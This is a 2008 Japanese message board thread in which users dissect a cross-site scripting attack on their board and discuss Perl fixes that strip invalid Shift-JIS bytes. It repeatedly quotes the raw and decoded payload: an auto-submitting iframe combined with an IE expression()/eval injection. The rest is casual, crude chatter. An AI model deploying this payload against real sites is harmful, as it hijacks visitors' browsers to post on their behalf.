下へ
>  2008/09/27 (土) 05:30:01        [qwerty]
> > というかそうはなってないでしょ(;´Д`)
> > GETで投稿できたらどんな馬鹿掲示板だよそれ
> http://qwerty.on.arena.ne.jp/cgi-bin/bbs.cgi?u=baka
> こういうことです

出力はしてるけど投稿じゃないでしょ

参考:2008/09/27(土)05時28分32秒

2008/09/27 (土) 05:29:40        [qwerty]
えここは朝から変態だなあ(;´Д`)

>  投稿者:a 2008/09/27 (土) 05:29:05        [qwerty]
> > Cookieによるハンドル表示はやめるってことかね(;´Д`)
> 俺も前まで勘違いしてたんだが
> くずははCookie使ってないんだわ
> ただ投稿時の名前を保持してるだけ

まじで(;´Д`)

参考:2008/09/27(土)05時27分42秒

>  2008/09/27 (土) 05:28:50        [qwerty]
> > mmm.document.forms[0].v.value=Math.floor(Math.random()*65536);
> > mm.document.forms[0].submit();
> > name=mmm+src=http://qwerty.on.arena.ne.jp
> > /cgi-bin/bbs.cgi&count=if(document.forms[0].d.value==30){
> > l=String.fromCharCode(60);
> > r=String.fromCharCode(62);
> > ocument.getElementsByTagName(document.forms[0].i.value).item(1).innerHTML=l+document.forms[0].
> > u.value+r;
> > document.forms[0].d.value=123}&c=+style={a:expression(eval(document.forms[0].count.value))
> > }
> で、これが変数に見えるかね?

変数っていうかソースコードに見えます
実行して内部で乱数で数字作っているような

参考:2008/09/27(土)05時26分03秒

>U2 2008/09/27 (土) 05:28:36        [qwerty]
> ああ眠い寝る
> 薬ぬんだ
> 寝る
> おやしみ(;´Д`)キラッ☆ミ

今起きた(;´Д`)U2がこんな時間に起きてるってどういうことよ

参考:2008/09/27(土)05時25分00秒

>  2008/09/27 (土) 05:28:32        [qwerty]
> > これが楽そうだな(;´Д`)GETで投稿受け付けなきゃいいんだ
> というかそうはなってないでしょ(;´Д`)
> GETで投稿できたらどんな馬鹿掲示板だよそれ

http://qwerty.on.arena.ne.jp/cgi-bin/bbs.cgi?u=baka
こういうことです

参考:2008/09/27(土)05時26分47秒

>  2008/09/27 (土) 05:27:42        [qwerty]
> > ぶっちゃけ一番簡単で効果的なのは名前欄やメール欄などを
> > GETの場合保持しない(表示しない)ってのがいいと思うが
> Cookieによるハンドル表示はやめるってことかね(;´Д`)

俺も前まで勘違いしてたんだが
くずははCookie使ってないんだわ
ただ投稿時の名前を保持してるだけ

参考:2008/09/27(土)05時26分15秒

>  2008/09/27 (土) 05:26:58        [qwerty]
> > えー(;´Д`)じゃあヒンヨ : %3d は "="、
> mmm.document.forms[0].v.value=Math.floor(Math.random()*65536);
> mm.document.forms[0].submit();
> name=mmm+src=http://qwerty.on.arena.ne.jp
> /cgi-bin/bbs.cgi&count=if(document.forms[0].d.value==30){
> l=String.fromCharCode(60);
> r=String.fromCharCode(62);
> ocument.getElementsByTagName(document.forms[0].i.value).item(1).innerHTML=l+document.forms[0].
> u.value+r;
> document.forms[0].d.value=123}&c=+style={a:expression(eval(document.forms[0].count.value))
> }

つまりコードをGETで渡されてうかつにも実行しちゃったって事?

参考:2008/09/27(土)05時22分23秒

2008/09/27 (土) 05:26:54        [qwerty]
しかしえここのエロアニメ転送はせっかくのショタなのにたまにヤクザ声が聞こえてきて怖い(;´Д`)

>  2008/09/27 (土) 05:26:47        [qwerty]
> > ぶっちゃけ一番簡単で効果的なのは名前欄やメール欄などを
> > GETの場合保持しない(表示しない)ってのがいいと思うが
> これが楽そうだな(;´Д`)GETで投稿受け付けなきゃいいんだ

というかそうはなってないでしょ(;´Д`)
GETで投稿できたらどんな馬鹿掲示板だよそれ

参考:2008/09/27(土)05時24分56秒

>  2008/09/27 (土) 05:26:15        [qwerty]
> > 綺麗にしてください(;´Д`)
> > 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> > 深海さんと協力してブラッシュアップお願いします(;´Д`)
> ぶっちゃけ一番簡単で効果的なのは名前欄やメール欄などを
> GETの場合保持しない(表示しない)ってのがいいと思うが

Cookieによるハンドル表示はやめるってことかね(;´Д`)

参考:2008/09/27(土)05時22分57秒

>  2008/09/27 (土) 05:26:03        [qwerty]
> > えー(;´Д`)じゃあヒンヨ : %3d は "="、
> mmm.document.forms[0].v.value=Math.floor(Math.random()*65536);
> mm.document.forms[0].submit();
> name=mmm+src=http://qwerty.on.arena.ne.jp
> /cgi-bin/bbs.cgi&count=if(document.forms[0].d.value==30){
> l=String.fromCharCode(60);
> r=String.fromCharCode(62);
> ocument.getElementsByTagName(document.forms[0].i.value).item(1).innerHTML=l+document.forms[0].
> u.value+r;
> document.forms[0].d.value=123}&c=+style={a:expression(eval(document.forms[0].count.value))
> }

で、これが変数に見えるかね?

参考:2008/09/27(土)05時22分23秒

>  2008/09/27 (土) 05:26:00        [qwerty]
> ああ俺もクアッドほしいなあ(;´Д`)
> 転送したいなあ
> クアッド買おう

漏れもクアッドとかオクタとかほしいけど液晶タブレットもほしい(;´Д`)

参考:2008/09/27(土)05時22分53秒

>U2 2008/09/27 (土) 05:25:42        [qwerty]
> ああ眠い寝る
> 薬ぬんだ
> 寝る
> おやしみ(;´Д`)キラッ☆ミ

イラッ(;´Д`)

参考:2008/09/27(土)05時25分00秒

>  2008/09/27 (土) 05:25:15        [qwerty]
> > 綺麗にしてください(;´Д`)
> > 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> > 深海さんと協力してブラッシュアップお願いします(;´Д`)
> これはどうよ(;´Д`)
> http://d.hatena.ne.jp/tociyuki/20060923/1158984768

Jcode.pmに置き換えるのが簡単ならそれが一番スマートかな(;´Д`)

参考:2008/09/27(土)05時23分40秒

>  2008/09/27 (土) 05:25:02        [qwerty]
> まぁ今回のアイドルランクアップはスクリプト投稿した香具師とえじじ!とムキーの絵描きだな(;´Д`)お疲れ様でした。

暫定対策しかしてない人より最終的にI_RCで対策考えた住人も評価しようよ(;´Д`)

参考:2008/09/27(土)05時19分28秒

投稿者:U2 2008/09/27 (土) 05:25:00        [qwerty]
ああ眠い寝る
薬ぬんだ
寝る
おやしみ(;´Д`)キラッ☆ミ

>  2008/09/27 (土) 05:24:56        [qwerty]
> > 綺麗にしてください(;´Д`)
> > 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> > 深海さんと協力してブラッシュアップお願いします(;´Д`)
> ぶっちゃけ一番簡単で効果的なのは名前欄やメール欄などを
> GETの場合保持しない(表示しない)ってのがいいと思うが

これが楽そうだな(;´Д`)GETで投稿受け付けなきゃいいんだ

参考:2008/09/27(土)05時22分57秒

>  2008/09/27 (土) 05:24:54        [qwerty]
> > ケチ(;´Д`)
> えー(;´Д`)じゃあヒンヨ : %3d は "="、

ほえ?
%3d が "=" の3文字になるの?(;´Д`)それとも=1文字?

参考:2008/09/27(土)05時16分48秒

>  2008/09/27 (土) 05:24:27        [qwerty]
> > 綺麗にしてください(;´Д`)
> > 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> > 深海さんと協力してブラッシュアップお願いします(;´Д`)
> ぶっちゃけ一番簡単で効果的なのは名前欄やメール欄などを
> GETの場合保持しない(表示しない)ってのがいいと思うが

うん(;´Д`)でもそれだとソースの改変箇所が多くなりそうっつーか
現状どうなってるかが分からないので手を出したくなかった

参考:2008/09/27(土)05時22分57秒

>  2008/09/27 (土) 05:23:40        [qwerty]
> > 確かにごり押しだな(;´Д`)スマートじゃない
> 綺麗にしてください(;´Д`)
> 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> 深海さんと協力してブラッシュアップお願いします(;´Д`)

これはどうよ(;´Д`)
http://d.hatena.ne.jp/tociyuki/20060923/1158984768

参考:2008/09/27(土)05時19分28秒

>  2008/09/27 (土) 05:23:00        [qwerty]
> > 綺麗にしてください(;´Д`)
> > 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> > 深海さんと協力してブラッシュアップお願いします(;´Д`)
> ツーか深海版ソースがないと修正してもどっかに問題でそう。
> 変数とか変に宣言しててぶつかって動かなくなりましたとか・・・

じゃあ$tmpじゃなくて$allyourbasearebelongtousとかにしておいてください(;´Д`)
まあデコード処理はたぶん手を加えてないだろうし
くずはのままなら独立したサブルーチンだろうから問題ないんじゃね?

参考:2008/09/27(土)05時20分29秒

>  2008/09/27 (土) 05:22:57        [qwerty]
> > 確かにごり押しだな(;´Д`)スマートじゃない
> 綺麗にしてください(;´Д`)
> 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> 深海さんと協力してブラッシュアップお願いします(;´Д`)

ぶっちゃけ一番簡単で効果的なのは名前欄やメール欄などを
GETの場合保持しない(表示しない)ってのがいいと思うが

参考:2008/09/27(土)05時19分28秒

2008/09/27 (土) 05:22:53        [qwerty]
ああ俺もクアッドほしいなあ(;´Д`)
転送したいなあ
クアッド買おう

>  2008/09/27 (土) 05:22:23        [qwerty]
> > ケチ(;´Д`)
> えー(;´Д`)じゃあヒンヨ : %3d は "="、

mmm.document.forms[0].v.value=Math.floor(Math.random()*65536);
mm.document.forms[0].submit();
name=mmm+src=http://qwerty.on.arena.ne.jp
/cgi-bin/bbs.cgi&count=if(document.forms[0].d.value==30){
l=String.fromCharCode(60);
r=String.fromCharCode(62);
ocument.getElementsByTagName(document.forms[0].i.value).item(1).innerHTML=l+document.forms[0].
u.value+r;
document.forms[0].d.value=123}&c=+style={a:expression(eval(document.forms[0].count.value))
}

参考:2008/09/27(土)05時16分48秒

2008/09/27 (土) 05:22:05        [qwerty]
これがうわさのやくざ声か(;´Д`)
初めて聞いた
怖すぎる

>  2008/09/27 (土) 05:20:29        [qwerty]
> > 確かにごり押しだな(;´Д`)スマートじゃない
> 綺麗にしてください(;´Д`)
> 何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
> 深海さんと協力してブラッシュアップお願いします(;´Д`)

ツーか深海版ソースがないと修正してもどっかに問題でそう。
変数とか変に宣言しててぶつかって動かなくなりましたとか・・・

参考:2008/09/27(土)05時19分28秒

>  2008/09/27 (土) 05:20:18        [qwerty]
> まぁ今回のアイドルランクアップはスクリプト投稿した香具師とえじじ!とムキーの絵描きだな(;´Д`)お疲れ様でした。

深海さんの本性もちょっと面白かった(;´Д`)

参考:2008/09/27(土)05時19分28秒

>  2008/09/27 (土) 05:19:59        [qwerty]
> > りみくすみたいな会話はやめろよ(;´Д`)
> > あとなんでいまさらURAを?
> ちなみに最初のほうでURAって書いた漏れは「う…うんまあ(;´Д`)そうとも言うかも」って
> レスしたあと呆然と成行を見ているよ(;´Д`)インターネットって怖いところだなあ

2レス目からはマッチポンプっぽいな(;´Д`)災難ね

参考:2008/09/27(土)05時18分03秒

2008/09/27 (土) 05:19:41        [qwerty]
闘神伝URA

>  2008/09/27 (土) 05:19:32        [qwerty]
> > チコというから二十面相かと思ったらエロアニメだった(;´Д`)
> 二十面相はチコからおじさん呼ばわりされて正直ちょっとイラッときてると思う(;´Д`)お兄さんだろって

おじさまだとちょっと勃起しちゃうけどな

参考:2008/09/27(土)05時19分01秒

>  2008/09/27 (土) 05:19:28        [qwerty]
> > 自己レス
> > $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack ( "C", hex ( $1 ) )/eg;
> > &jcode'convert ( *value, 'sjis' );
> > の直後に以下のコードでとりあえず回避できるかな(;´Д`)
> > $&とかsubstr()とかチョーダサイので何とかしたいけど眠いのでもういいや
> > my $tmp = $value;
> > $value = '';
> > while (length($tmp)) {
> >   if ($tmp =~ /^([\x09\x0A\x0D\x20-\x7E\xA1-\xDF]|[\x81-\x9F\xE0-\xEF][\x40-\x7E\x80-\xFC])+/) {
> >     $value = $&;
> >     substr($tmp,0,length($&)) = '';
> >   } else {
> >     substr($tmp,0,1) = '';
> >   }
> > }
> 確かにごり押しだな(;´Д`)スマートじゃない

綺麗にしてください(;´Д`)
何となくいったん別の文字コードにしてから無効文字除去してまたsjisに戻るコードの方が綺麗になる気がする
深海さんと協力してブラッシュアップお願いします(;´Д`)

参考:2008/09/27(土)05時16分57秒

2008/09/27 (土) 05:19:28        [qwerty]
まぁ今回のアイドルランクアップはスクリプト投稿した香具師とえじじ!とムキーの絵描きだな(;´Д`)お疲れ様でした。

>  2008/09/27 (土) 05:19:01        [qwerty]
> チコというから二十面相かと思ったらエロアニメだった(;´Д`)

二十面相はチコからおじさん呼ばわりされて正直ちょっとイラッときてると思う(;´Д`)お兄さんだろって

参考:2008/09/27(土)05時17分37秒

>  2008/09/27 (土) 05:18:03        [qwerty]
> > まだ怒ってる(;´Д`)余程URAが気に入っている模様
> りみくすみたいな会話はやめろよ(;´Д`)
> あとなんでいまさらURAを?

ちなみに最初のほうでURAって書いた漏れは「う…うんまあ(;´Д`)そうとも言うかも」って
レスしたあと呆然と成行を見ているよ(;´Д`)インターネットって怖いところだなあ

参考:2008/09/27(土)05時15分47秒

2008/09/27 (土) 05:17:37        [qwerty]
チコというから二十面相かと思ったらエロアニメだった(;´Д`)

>  2008/09/27 (土) 05:16:57        [qwerty]
> > まだ試してない(;´Д`)
> > とりあえず
> > &jcode'convert ( *value, 'sjis' );
> > の後に$valueを先頭から走査して正しくない文字を除去するコードを追加する
> > とかでできないかな?
> > ソース変更が簡単にできそうなので(;´Д`)
> 自己レス
> $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack ( "C", hex ( $1 ) )/eg;
> &jcode'convert ( *value, 'sjis' );
> の直後に以下のコードでとりあえず回避できるかな(;´Д`)
> $&とかsubstr()とかチョーダサイので何とかしたいけど眠いのでもういいや
> my $tmp = $value;
> $value = '';
> while (length($tmp)) {
>   if ($tmp =~ /^([\x09\x0A\x0D\x20-\x7E\xA1-\xDF]|[\x81-\x9F\xE0-\xEF][\x40-\x7E\x80-\xFC])+/) {
>     $value = $&;
>     substr($tmp,0,length($&)) = '';
>   } else {
>     substr($tmp,0,1) = '';
>   }
> }

確かにごり押しだな(;´Д`)スマートじゃない

参考:2008/09/27(土)05時12分50秒

>  2008/09/27 (土) 05:16:48        [qwerty]
> > ならば今はお休みなさいませ(;´Д`)
> ケチ(;´Д`)

えー(;´Д`)じゃあヒンヨ : %3d は "="、

参考:2008/09/27(土)05時15分55秒

>  2008/09/27 (土) 05:16:28        [qwerty]
> > まだ怒ってる(;´Д`)余程URAが気に入っている模様
> りみくすみたいな会話はやめろよ(;´Д`)
> あとなんでいまさらURAを?

URA信者が烈火するから

参考:2008/09/27(土)05時15分47秒

>  2008/09/27 (土) 05:15:55        [qwerty]
> > URIエンコードがわからない(;´Д`)
> ならば今はお休みなさいませ(;´Д`)

ケチ(;´Д`)

参考:2008/09/27(土)05時15分11秒

>  2008/09/27 (土) 05:15:47        [qwerty]
> > 君の?
> まだ怒ってる(;´Д`)余程URAが気に入っている模様

りみくすみたいな会話はやめろよ(;´Д`)
あとなんでいまさらURAを?

参考:2008/09/27(土)05時12分33秒

>  2008/09/27 (土) 05:15:40        [qwerty]
> > まだ怒ってる(;´Д`)余程URAが気に入っている模様
> 気に入ってると怒るの?何で?

こういうバカは放置するしかないな

参考:2008/09/27(土)05時14分20秒

>  2008/09/27 (土) 05:15:26        [qwerty]
> > 誰もなにもしゃべんない(;´Д`)
> #上海
> こっちは流れてるな

誰がいるかわからなくて怖いからリストアプ(;´Д`)

参考:2008/09/27(土)03時59分38秒

>  2008/09/27 (土) 05:15:11        [qwerty]
> > "http ... +%81”までをメモ帳にはっつけ;で改行してURIエンコード文字列をデコードしてからもう一度同じ質問をしてください(;´Д`)
> URIエンコードがわからない(;´Д`)

ならば今はお休みなさいませ(;´Д`)

参考:2008/09/27(土)05時11分04秒

>  2008/09/27 (土) 05:14:34        [qwerty]
> > ポインタなんてチョ→楽だよ(;´Д`)
> > 単なるアドレスだ
> > 実社会で言えば物を送るのではなく「ここに置いてあるよ!」って手紙を届けるだけ
> というかリファレンスとポインタはそうかわらんよ。

ポインタにNULL入れてスイッチフラグ代わりに使いまくってたのでリファレンスは嫌いだった(;´Д`)

参考:2008/09/27(土)05時11分06秒

>  2008/09/27 (土) 05:14:20        [qwerty]
> > 君の?
> まだ怒ってる(;´Д`)余程URAが気に入っている模様

気に入ってると怒るの?何で?

参考:2008/09/27(土)05時12分33秒

2008/09/27 (土) 05:14:16        [qwerty]
荒らし対策できたと思ったら今度はりみくすの妖怪ホーダイか

>  2008/09/27 (土) 05:12:50        [qwerty]
> > じゃあJcode.pmはどうよ(;´Д`)
> > 一緒?
> まだ試してない(;´Д`)
> とりあえず
> &jcode'convert ( *value, 'sjis' );
> の後に$valueを先頭から走査して正しくない文字を除去するコードを追加する
> とかでできないかな?
> ソース変更が簡単にできそうなので(;´Д`)

自己レス
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack ( "C", hex ( $1 ) )/eg;
&jcode'convert ( *value, 'sjis' );
の直後に以下のコードでとりあえず回避できるかな(;´Д`)
$&とかsubstr()とかチョーダサイので何とかしたいけど眠いのでもういいや

my $tmp = $value;
$value = '';
while (length($tmp)) {
  if ($tmp =~ /^([\x09\x0A\x0D\x20-\x7E\xA1-\xDF]|[\x81-\x9F\xE0-\xEF][\x40-\x7E\x80-\xFC])+/) {
    $value = $&;
    substr($tmp,0,length($&)) = '';
  } else {
    substr($tmp,0,1) = '';
  }
}

参考:2008/09/27(土)04時56分33秒

>  2008/09/27 (土) 05:12:33        [qwerty]
> > 怒りが収まらなくなった模様
> 君の?

まだ怒ってる(;´Д`)余程URAが気に入っている模様

参考:2008/09/27(土)05時10分18秒

2008/09/27 (土) 05:12:00        [qwerty]
えここでエロアニメハジマタ(;´Д`)

>  2008/09/27 (土) 05:11:06        [qwerty]
> > perlしかわからない漏れからすると凄いよ
> > ポインタとかわかんね
> ポインタなんてチョ→楽だよ(;´Д`)
> 単なるアドレスだ
> 実社会で言えば物を送るのではなく「ここに置いてあるよ!」って手紙を届けるだけ

というかリファレンスとポインタはそうかわらんよ。

参考:2008/09/27(土)05時08分43秒

>  2008/09/27 (土) 05:11:04        [qwerty]
> > じゃあ↓の場合は2行目から12行目までが"で括られているから長い文字列だよね?
> > GETで渡された文字列に変数名みたいのが入ってるって事?
> > -------------------------
> > "GET /cgi-bin/bbs.cgi? HTTP/1.1" 200 5486 
> > "http://qwerty.on.arena.ne.jp/cgi-bin/bbs.cgi?mode=i&d=30&i=a&
> > u=iframe+onload%3dmmm.document.forms[0].v.value%3dMath.floor(Math.random()*65536);
> > mm.document.forms[0].submit();+name%3dmmm+src%3dhttp://qwerty.on.arena.ne.jp
> > /cgi-bin/bbs.cgi&count=if(document.forms[0].d.value%3d%3d30)
> > {l%3dString.fromCharCode(60);r%3dString.fromCharCode(62);
> > ocument.getElementsByTagName(document.forms[0].i.value).item(1).innerHTML%3dl%2bdocument.forms[0].
> > u.value%2br;document.forms[0].d.value%3d123}&c=+style%3d{a:expression(eval(document.forms[0].count.value))}+%81" 
> > "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
> > -------------------------
> "http ... +%81”までをメモ帳にはっつけ;で改行してURIエンコード文字列をデコードしてからもう一度同じ質問をしてください(;´Д`)

URIエンコードがわからない(;´Д`)

参考:2008/09/27(土)05時09分55秒

>  2008/09/27 (土) 05:10:31        [qwerty]
> > perlしかわからない漏れからすると凄いよ
> > ポインタとかわかんね
> ポインタなんてチョ→楽だよ(;´Д`)
> 単なるアドレスだ
> 実社会で言えば物を送るのではなく「ここに置いてあるよ!」って手紙を届けるだけ

誰でも入れられるようにしたらダイレクトメールで溢れてな(;´Д`)

参考:2008/09/27(土)05時08分43秒

>  2008/09/27 (土) 05:10:18        [qwerty]
> > 君は馬鹿なのに馬鹿って言われた事が無いの?
> 怒りが収まらなくなった模様

君の?

参考:2008/09/27(土)04時59分26秒

上へ